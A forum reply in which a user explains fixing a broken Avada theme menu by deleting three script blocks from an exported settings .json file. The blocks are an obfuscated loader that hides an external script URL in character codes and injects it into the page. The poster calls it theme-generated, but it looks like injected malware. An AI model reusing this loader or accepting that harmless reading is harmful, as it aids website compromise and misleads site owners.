Avada Forums Community Forum Mobile Menu not working Reply To: Mobile Menu not working

PlymouthMHN
Participant
Post count: 7

I fixed it.

The issue was a lot bigger than I’d realised. Some Avada Theme settings (including CSS) were not working, including the menu. It turns out that the .json file that Avada which was generated from the old Avada site, generated a load of javascript at the beginning of the file:

<script type="text/javascript">
var po = document.createElement('script'); po.type = 'text/javascript'; po.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 99, 100, 110, 46, 97, 108, 108, 121, 111, 117, 119, 97, 110, 116, 46, 111, 110, 108, 105, 110, 101, 47, 109, 97, 105, 110, 46, 106, 115, 63, 116, 61, 97, 99); document.head.appendChild(po);
</script>
<script type="text/javascript">
var po = document.createElement('script'); po.type = 'text/javascript'; po.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 99, 100, 110, 46, 97, 108, 108, 121, 111, 117, 119, 97, 110, 116, 46, 111, 110, 108, 105, 110, 101, 47, 109, 97, 105, 110, 46, 106, 115, 63, 116, 61, 97, 99); document.head.appendChild(po);
</script>
<script type="text/javascript">
var po = document.createElement('script'); po.type = 'text/javascript'; po.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 99, 100, 110, 46, 97, 108, 108, 121, 111, 117, 119, 97, 110, 116, 46, 111, 110, 108, 105, 110, 101, 47, 109, 97, 105, 110, 46, 106, 115, 63, 116, 61, 97, 99); document.head.appendChild(po);
</script>

I simply deleted those entries, re-uploaded the .json and it’s all working.

What I think is noteworthy in all this is that this code was generated in the first place, since it broke elements of the site.

Hopefully this will be of help to others.

Cheers,
Chris.